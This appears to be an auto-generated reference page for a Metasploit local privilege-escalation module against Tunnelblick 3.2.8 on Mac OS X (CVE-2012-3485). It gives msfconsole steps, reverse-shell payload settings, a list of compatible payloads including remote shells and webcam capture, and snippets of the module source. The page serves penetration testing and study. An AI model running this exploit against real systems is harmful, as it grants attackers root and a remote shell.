Setuid Tunnelblick Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/osx/local/setuid_tunnelblick metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Setuid Tunnelblick Privilege Escalation
Module: exploit/osx/local/setuid_tunnelblick
Source code: modules/exploits/osx/local/setuid_tunnelblick.rb
Disclosure date: 2012-08-11
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86, x64
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2012-3485
This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The vulnerability exists in the setuid openvpnstart, where an insufficient validation of path names allows execution of arbitrary shell scripts as root. This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099 over Mac OS X 10.7.5.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/osx/local/setuid_tunnelblick
msf exploit(setuid_tunnelblick) > show targets
... a list of targets ...
msf exploit(setuid_tunnelblick) > set TARGET target-id
msf exploit(setuid_tunnelblick) > show options
... show and set options ...
msf exploit(setuid_tunnelblick) > set SESSION session-id
msf exploit(setuid_tunnelblick) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the osx/local/setuid_tunnelblick exploit module looks in the msfconsole:
msf6 > use exploit/osx/local/setuid_tunnelblick
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(osx/local/setuid_tunnelblick) > show info
Name: Setuid Tunnelblick Privilege Escalation
Module: exploit/osx/local/setuid_tunnelblick
Platform: OSX
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-08-11
Provided by:
Jason A. Donenfeld
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 Tunnelblick 3.2.8 / Mac OS X x86
1 Tunnelblick 3.2.8 / Mac OS X x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Tunnelblick /Applications/Tunnelblick.app/Contents/Resources/openvpnstart yes Path to setuid openvpnstart executable
WritableDir /tmp yes A directory where we can write files
Payload information:
Description:
This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS
X. The vulnerability exists in the setuid openvpnstart, where an
insufficient validation of path names allows execution of arbitrary
shell scripts as root. This module has been tested successfully on
Tunnelblick 3.2.8 build 2891.3099 over Mac OS X 10.7.5.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-3485
OSVDB (84706)
https://www.exploit-db.com/exploits/20443
http://blog.zx2c4.com/791
Module Options
This is a complete list of options available in the osx/local/setuid_tunnelblick exploit:
msf6 exploit(osx/local/setuid_tunnelblick) > show options
Module options (exploit/osx/local/setuid_tunnelblick):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Tunnelblick /Applications/Tunnelblick.app/Contents/Resources/openvpnstart yes Path to setuid openvpnstart executable
WritableDir /tmp yes A directory where we can write files
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Tunnelblick 3.2.8 / Mac OS X x86
Advanced Options
Here is a complete list of advanced options supported by the osx/local/setuid_tunnelblick exploit:
msf6 exploit(osx/local/setuid_tunnelblick) > show advanced
Module advanced options (exploit/osx/local/setuid_tunnelblick):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/local/setuid_tunnelblick module can exploit:
msf6 exploit(osx/local/setuid_tunnelblick) > show targets
Exploit targets:
Id Name
-- ----
0 Tunnelblick 3.2.8 / Mac OS X x86
1 Tunnelblick 3.2.8 / Mac OS X x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/local/setuid_tunnelblick exploit:
msf6 exploit(osx/local/setuid_tunnelblick) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/osx/x86/bundleinject/bind_tcp normal No Mac OS X Inject Mach-O Bundle, Bind TCP Stager
6 payload/osx/x86/bundleinject/reverse_tcp normal No Mac OS X Inject Mach-O Bundle, Reverse TCP Stager
7 payload/osx/x86/exec normal No OS X Execute Command
8 payload/osx/x86/isight/bind_tcp normal No Mac OS X x86 iSight Photo Capture, Bind TCP Stager
9 payload/osx/x86/isight/reverse_tcp normal No Mac OS X x86 iSight Photo Capture, Reverse TCP Stager
10 payload/osx/x86/shell_bind_tcp normal No OS X Command Shell, Bind TCP Inline
11 payload/osx/x86/shell_reverse_tcp normal No OS X Command Shell, Reverse TCP Inline
12 payload/osx/x86/vforkshell/bind_tcp normal No OS X (vfork) Command Shell, Bind TCP Stager
13 payload/osx/x86/vforkshell/reverse_tcp normal No OS X (vfork) Command Shell, Reverse TCP Stager
14 payload/osx/x86/vforkshell_bind_tcp normal No OS X (vfork) Command Shell, Bind TCP Inline
15 payload/osx/x86/vforkshell_reverse_tcp normal No OS X (vfork) Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the osx/local/setuid_tunnelblick exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/local/setuid_tunnelblick) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
openvpnstart not found
Here is a relevant code snippet related to the "openvpnstart not found" error message:
57: datastore['WritableDir'].to_s
58: end
59:
60: def check
61: unless file? datastore['Tunnelblick']
62: vprint_error 'openvpnstart not found'
63: return CheckCode::Safe
64: end
65:
66: check = cmd_exec("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000")
67:
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
77: cmd_exec("rm -rf #{base_dir}/openvpn")
78: end
79:
80: def exploit
81: if is_root?
82: fail_with Failure::BadConfig, 'Session already has root privileges'
83: end
84:
85: if check != CheckCode::Vulnerable
86: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
87: end
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
81: if is_root?
82: fail_with Failure::BadConfig, 'Session already has root privileges'
83: end
84:
85: if check != CheckCode::Vulnerable
86: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
87: end
88:
89: unless writable? base_dir
90: fail_with Failure::BadConfig, "#{base_dir} is not writable"
91: end
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
85: if check != CheckCode::Vulnerable
86: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
87: end
88:
89: unless writable? base_dir
90: fail_with Failure::BadConfig, "#{base_dir} is not writable"
91: end
92:
93: print_status("Creating directory...")
94: cmd_exec "mkdir -p #{base_dir}/openvpn/openvpn-0"
95:
Failed. Cleaning files <LINK> and the <BASE_DIR>/openvpn directory
Here is a relevant code snippet related to the "Failed. Cleaning files <LINK> and the <BASE_DIR>/openvpn directory" error message:
117:
118: print_status("Running...")
119: begin
120: cmd_exec "#{@link} OpenVPNInfo 0"
121: rescue
122: print_error("Failed. Cleaning files #{@link} and the #{base_dir}/openvpn directory")
123: clean
124: return
125: end
126: print_warning("Remember to clean files: #{@link} and the #{base_dir}/openvpn directory")
127: end
Remember to clean files: <LINK> and the <BASE_DIR>/openvpn directory
Here is a relevant code snippet related to the "Remember to clean files: <LINK> and the <BASE_DIR>/openvpn directory" error message:
119: begin
120: cmd_exec "#{@link} OpenVPNInfo 0"
121: rescue
122: print_error("Failed. Cleaning files #{@link} and the #{base_dir}/openvpn directory")
123: clean
124: return
125: end
126: print_warning("Remember to clean files: #{@link} and the #{base_dir}/openvpn directory")
127: end
128: end
129:
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10910 Merged Pull Request: Use
writable?
method for local modules - #10118 Merged Pull Request: Cleanup OSX local exploit modules
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5654 Merged Pull Request: Python Meterpreter Transport
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
- #1996 Merged Pull Request: Ref updates for several modules
- #1538 Merged Pull Request: added module for CVE-2012-3485
References
- CVE-2012-3485
- OSVDB (84706)
- EDB-20443
- http://blog.zx2c4.com/791
See Also
Check also the following modules related to this module:
- exploit/osx/local/setuid_viscosity
- exploit/osx/local/cfprefsd_race_condition
- exploit/osx/local/dyld_print_to_file_root
- exploit/osx/local/feedback_assistant_root
- exploit/osx/local/iokit_keyboard_root
- exploit/osx/local/libxpc_mitm_ssudo
- exploit/osx/local/nfs_mount_root
- exploit/osx/local/persistence
- exploit/osx/local/root_no_password
- exploit/osx/local/rootpipe
- exploit/osx/local/rootpipe_entitlements
- exploit/osx/local/rsh_libmalloc
- exploit/osx/local/sudo_password_bypass
- exploit/osx/local/timemachine_cmd_injection
- exploit/osx/local/tpwn
- exploit/osx/local/vmware_bash_function_root
- exploit/osx/local/vmware_fusion_lpe
- exploit/unix/local/setuid_nmap
Authors
- Jason A. Donenfeld
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.